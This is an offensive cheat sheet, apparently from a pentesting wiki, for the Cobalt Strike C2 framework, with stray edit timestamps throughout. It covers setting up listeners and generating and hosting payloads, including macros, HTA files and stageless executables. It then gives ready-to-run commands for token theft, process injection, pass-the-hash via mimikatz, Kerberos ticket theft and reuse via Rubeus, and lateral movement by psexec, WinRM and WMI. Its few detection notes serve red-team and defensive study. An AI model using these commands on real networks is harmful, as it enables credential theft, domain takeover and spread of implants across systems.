# Cobalt Strike
### Listeners
2022-08-13 15:36:34 +00:00
### C2 Listeners
`Cobalt Strike -> Listeners -> Add/Edit` then you can select where to listen, which kind of beacon to use (http, dns, smb...) and more.
### Peer2Peer Listeners
The beacons of these listeners don't need to talk to the C2 directly, they can communicate to it through other beacons.
`Cobalt Strike -> Listeners -> Add/Edit` then you need to select the TCP or SMB beacons
* The **TCP beacon will set a listener in the port selected**. To connect to a TCP beacon use the command `connect <ip> <port>` from another beacon
* The **smb beacon will listen in a pipename with the selected name**. To connect to a SMB beacon you need to use the command `link [target] [pipe]`.

### Generate & Host payloads
#### Generate payloads in files
2022-08-13 15:36:34 +00:00
`Attacks -> Packages ->`&#x20;
2022-08-12 22:50:15 +00:00
* **`HTMLApplication`** for HTA files
* **`MS Office Macro`** for an office document with a macro
* **`Windows Executable`** for a .exe, .dll orr service .exe
* **`Windows Executable (S)`** for a **stageless** .exe, .dll or service .exe (better stageless than staged, less IoCs)
#### Generate & Host payloads
2022-08-13 15:36:34 +00:00
`Attacks -> Web Drive-by -> Scripted Web Delivery (S)` This will generate a script/executable to download the beacon from cobalt strike in formats such as: bitsadmin, exe, powershell and python
2022-08-12 22:50:15 +00:00
#### Host Payloads
If you already has the file you want to host in a web sever just go to `Attacks -> Web Drive-by -> Host File` and select the file to host and web server config.
### Beacon Options

# Powershell
2022-08-13 15:36:34 +00:00
# Import Powershell module
powershell-import C:\path\to\PowerView.ps1
2022-08-13 23:06:40 +00:00

# User impersonation
2022-08-13 23:06:40 +00:00
## Token generation with creds
make_token [DOMAIN\user] [password] #Create token to impersonate a user in the network
ls \\computer_name\c$ # Try to use generated token to access C$ in a computer
rev2self # Stop using token generated with make_token
## The use of make_token generates event 4624: An account was successfully logged on. This event is very common in a Windows domain, but can be narrowed down by filtering on the Logon Type. As mentioned above, it uses LOGON32_LOGON_NEW_CREDENTIALS which is type 9.
## Steal token from pid
## Like make_token but stealing the token from a process
steal_token [pid] # Also, this is useful for network actions, not local actions
## From the API documentation we know that this logon type "allows the caller to clone its current token". This is why the Beacon output says Impersonated &#x3C;current_username> - it's impersonating our own cloned token.
ls \\computer_name\c$ # Try to use generated token to access C$ in a computer
rev2self # Stop using token from steal_token
## Launch process with nwe credentials
spawnas [domain\username] [password] [listener] #Do it from a directory with read access like: cd C:\
## Like make_token, this will generate Windows event 4624: An account was successfully logged on but with a logon type of 2 (LOGON32_LOGON_INTERACTIVE). It will detail the calling user (TargetUserName) and the impersonated user (TargetOutboundUserName).
## Inject into process
inject [pid] [x64|x86] [listener]
## From an OpSec point of view: Don't perform cross-platform injection unless you really have to (e.g. x86 -> x64 or x64 -> x86).
## Pass the hash
## This modification process requires patching of LSASS memory which is a high-risk action, requires local admin privileges and not all that viable if Protected Process Light (PPL) is enabled.
pth [pid] [arch] [DOMAIN\user] [NTLM hash]
pth [DOMAIN\user] [NTLM hash]
## Pass the hash through mimikatz
mimikatz sekurlsa::pth /user:&#x3C;username> /domain:&#x3C;DOMAIN> /ntlm:&#x3C;NTLM HASH> /run:"powershell -w hidden"
## Withuot /run, mimikatz spawn a cmd.exe, if you are running as a user with Desktop, he will see the shell (if you are running as SYSTEM you are good to go)
steal_token &#x3C;pid> #Steal token from process created by mimikatz
## Pass the ticket
## Request a ticket
execute-assembly C:\path\Rubeus.exe asktgt /user:&#x3C;username> /domain:&#x3C;domain> /aes256:&#x3C;aes_keys> /nowrap /opsec
## Create a new logon session to use with the new ticket (to not overwrite the compromised one)
make_token &#x3C;domain>\&#x3C;username> DummyPass
## Write the ticket in the attacker machine from a poweshell session &#x26; load it
[System.IO.File]::WriteAllBytes("C:\Users\Administrator\Desktop\jkingTGT.kirbi", [System.Convert]::FromBase64String("[...ticket...]"))
kerberos_ticket_use C:\Users\Administrator\Desktop\jkingTGT.kirbi
## Pass the ticket from SYSTEM
## Generate a new process with the ticket
execute-assembly C:\path\Rubeus.exe asktgt /user:&#x3C;USERNAME> /domain:&#x3C;DOMAIN> /aes256:&#x3C;AES KEY> /nowrap /opsec /createnetonly:C:\Windows\System32\cmd.exe
## Steal the token from that process
steal_token &#x3C;pid>
## Extract ticket + Pass the ticket
### List tickets
execute-assembly C:\path\Rubeus.exe triage
### Dump insteresting ticket by luid
execute-assembly C:\path\Rubeus.exe dump /service:krbtgt /luid:&#x3C;luid> /nowrap
### Create new logon session, note luid and processid
execute-assembly C:\path\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe
### Insert ticket in generate logon session
execute-assembly C:\path\Rubeus.exe ptt /luid:0x92a8c /ticket:[...base64-ticket...]
### Finally, steal the token from that new process
steal_token &#x3C;pid>

# Lateral Movement
## If a token was created it will be used
jump [method] [target] [listener]
## Methods:
## psexec x86 Use a service to run a Service EXE artifact
## psexec64 x64 Use a service to run a Service EXE artifact
## psexec_psh x86 Use a service to run a PowerShell one-liner
## winrm x86 Run a PowerShell script via WinRM
## winrm64 x64 Run a PowerShell script via WinRM
remote-exec [method] [target] [command]
## Methods:
<strong>## psexec Remote execute via Service Control Manager
</strong>## winrm Remote execute via WinRM (PowerShell)
## wmi Remote execute via WMI
## To execute a beacon with wmi (it isn't ins the jump command) just upload the beacon and execute it
beacon> upload C:\Payloads\beacon-smb.exe
beacon> remote-exec wmi srv-1 C:\Windows\beacon-smb.exe
